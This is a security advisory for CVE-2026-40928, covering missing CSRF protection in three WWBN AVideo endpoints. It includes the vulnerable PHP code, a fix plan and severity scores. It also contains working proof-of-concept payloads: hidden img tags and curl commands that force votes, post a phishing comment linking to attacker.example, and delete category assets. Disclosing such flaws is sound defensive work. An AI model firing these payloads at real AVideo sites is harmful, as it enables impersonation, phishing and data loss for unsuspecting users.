Advisory details:
github_osv / GHSA-x2pw-9c38-cp2j
| Advisory ID | github_osv/GHSA-x2pw-9c38-cp2j |
| Aliases |
CVE-2026-40928
|
| Summary | WWBN AVideo: Missing CSRF Protection on State-Changing JSON Endpoints Enables Forced Comment Creation, Vote Manipulation, and Category Asset Deletion ## Summary Multiple AVideo JSON endpoints under `objects/` accept state-changing requests via `$_REQUEST`/`$_GET` and persist changes tied to the caller's session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently: 1. Cast/flip the victim's like/dislike on any comment (`objects/comments_like.json.php`). 2. Post a comment authored by the victim on any video, with attacker-chosen text (`objects/commentAddNew.json.php`). 3. Delete assets from any category (`objects/categoryDeleteAssets.json.php`) when the victim has category management rights. Each endpoint is reachable from a browser via a simple `<img src="…">` tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource. ## Details AVideo exposes a helper, `forbidIfIsUntrustedRequest()` (`objects/functionsSecurity.php:138`), that rejects cross-origin requests when the `Referer`/`Origin` does not match `webSiteRootURL`. It is only invoked in one file in the tree — `objects/userUpdate.json.php:18` — and is *not* applied to the endpoints below. There is also an `isGlobalTokenValid()` helper (`objects/functions.php:2313`) intended for CSRF-style token checks; none of the affected endpoints call it. `allowOrigin()` only sets CORS response headers and does not prevent cookie-bearing top-level or image requests from reaching the server. ### 1. `objects/comments_like.json.php` — CSRF → forced like/dislike ```php // objects/comments_like.json.php 15: if (empty($_POST['comments_id']) && !empty($_GET['comments_id'])) { 16: $_POST['comments_id'] = $_GET['comments_id']; 17: } 18: 19: $like = new CommentsLike($_GET['like'], $_POST['comments_id']); 20: echo json_encode(CommentsLike::getLikes($_POST['comments_id'])); ``` The endpoint deliberately promotes `$_GET['comments_id']` to `$_POST['comments_id']` so the call works for either verb. `CommentsLike::__construct` (`objects/comments_like.php:18`) reads `User::getId()`, calls `load()` to fetch any prior vote, then `setLike()` + `save()` — issuing an `INSERT`/`UPDATE` on `comments_likes` keyed to the session user (`objects/comments_like.php:70-89`). There is no token check and no origin check. ### 2. `objects/commentAddNew.json.php` — CSRF → forced comment posting ```php // objects/commentAddNew.json.php 34: if (!User::canComment()) { 35: $obj->msg = __("Permission denied"); 36: die(json_encode($obj)); 37: } ... 117: $objC = new Comment($_REQUEST['comment'], $_REQUEST['video']); 118: $objC->setComments_id_pai($_REQUEST['comments_id']); ... 124: $obj->comments_id = $objC->save(); ``` All inputs come from `$_REQUEST`, so GET is fully supported. The only gate is `User::canComment()`, which is true for ordinary logged-in users. `isCommentASpam()` (lines 39–97) is a per-session rate limiter, not a CSRF defense — it accounts the victim's own session bucket, so it does not block a single forged write. The comment is persisted under the victim's `users_id` via `$objC->save()`. ### 3. `objects/categoryDeleteAssets.json.php` — CSRF → forced deletion of category assets ```php // objects/categoryDeleteAssets.json.php 14: $obj->id = intval(@$_REQUEST['id']); 15: 16: if (!Category::canCreateCategory()) { 17: $obj->msg = __("Permission denied"); 18: die(json_encode($obj)); 19: } 20: 21: if (!Category::deleteAssets($obj->id)) { 22: $obj->error = false; 23: ... ``` State-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of `<img>` tags — every one fires a credentialed request. ### Root cause (shared) All three endpoints follow the same pattern: `objects/*.json.php` handler that (a) reads mutating parameters from `$_REQUEST`/`$_GET`, (b) performs authorization against the victim's session, and (c) writes to the database — without calling `forbidIfIsUntrustedRequest()`, without validating a CSRF token, and without any `SameSite` mitigation in the session cookie set by AVideo's auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient. ## PoC Preconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site `<img>`/top-level GETs. ### Variant A — comments_like.json.php (force a downvote on comment id 10) Attacker page: ```html <img src="https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10" style="display:none"> ``` Manual verification: ```bash curl -b 'PHPSESSID=<victim-session>' \ 'https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10' # → {"comments_id":10,"likes":...,"dislikes":...,"myVote":-1} # Row inserted/updated in `comments_likes` with users_id = victim. ``` ### Variant B — commentAddNew.json.php (force victim to post a phishing comment on video 123) Attacker page: ```html <img src="https://victim.example.com/objects/commentAddNew.json.php?comment=Check+out+my+free+giveaway+https%3A%2F%2Fattacker.example%2Fscam&video=123" style="display:none"> ``` Manual verification: ```bash curl -b 'PHPSESSID=<victim-session>' \ 'https://victim.example.com/objects/commentAddNew.json.php?comment=phish&video=123' # → {"error":false,"comments_id":<id>,"msg":"Your comment has been saved!",...} ``` ### Variant C — categoryDeleteAssets.json.php (force a category admin to delete assets on category 1) Attacker page (enumerate several ids): ```html <img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1"> <img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2"> <img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3"> ``` Manual verification: ```bash curl -b 'PHPSESSID=<category-admin-session>' \ 'https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1' # → {"error":false,"msg":"","id":1} # Assets for category 1 are removed. ``` ## Impact - **Integrity of social signals:** Attackers can flip any logged-in user's likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts `like=-1|0|1`, arbitrary vote states can be forced. - **Identity abuse via forced comments:** An attacker can cause any logged-in user with comment permission to "post" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim's name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice. - **Data loss:** Any user with `canCreateCategory()` who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of `<img>` tags can cover the full category space in one page load. No special configuration is required; AVideo's default session cookie lacks a `SameSite=Lax/Strict` protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token. ## Recommended Fix 1. Call the existing `forbidIfIsUntrustedRequest()` helper at the top of every mutating `objects/*.json.php` handler (the same pattern already used in `objects/userUpdate.json.php`): ```php // objects/comments_like.json.php (add near line 9) require_once $global['systemRootPath'] . 'objects/functionsSecurity.php'; forbidIfIsUntrustedRequest(); // objects/commentAddNew.json.php (add after configuration.php include) require_once $global['systemRootPath'] . 'objects/functionsSecurity.php'; forbidIfIsUntrustedRequest(); // objects/categoryDeleteAssets.json.php (add after configuration.php include) require_once $global['systemRootPath'] . 'objects/functionsSecurity.php'; forbidIfIsUntrustedRequest(); ``` 2. Require `$_SERVER['REQUEST_METHOD'] === 'POST'` (or `DELETE`) for state-changing operations and stop promoting `$_GET['comments_id']` → `$_POST['comments_id']` in `comments_like.json.php:15-17`. 3. Validate a per-session CSRF token on all mutating endpoints using the existing `isGlobalTokenValid()` / `getToken()` helpers (`objects/functions.php:2313`), rejecting requests whose `globalToken` is missing or invalid. 4. As defense in depth, set the session cookie with `SameSite=Lax` (or `Strict`) in the AVideo session initialization, so cross-site navigational GETs do not carry the session cookie even if a handler regresses. Applying (1) alone closes all three reported variants; (2)–(4) harden the surface against variants of the same pattern in other `objects/*.json.php` handlers. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 4.9 |
| Risk | 2.5 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 5.4 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-x2pw-9c38-cp2j/GHSA-x2pw-9c38-cp2j.json |
| generic_textual | MODERATE |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-22T13:15:40Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/40xxx/CVE-2026-40928.json
Source Advisory: vulnrichment/CVE-2026-40928
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]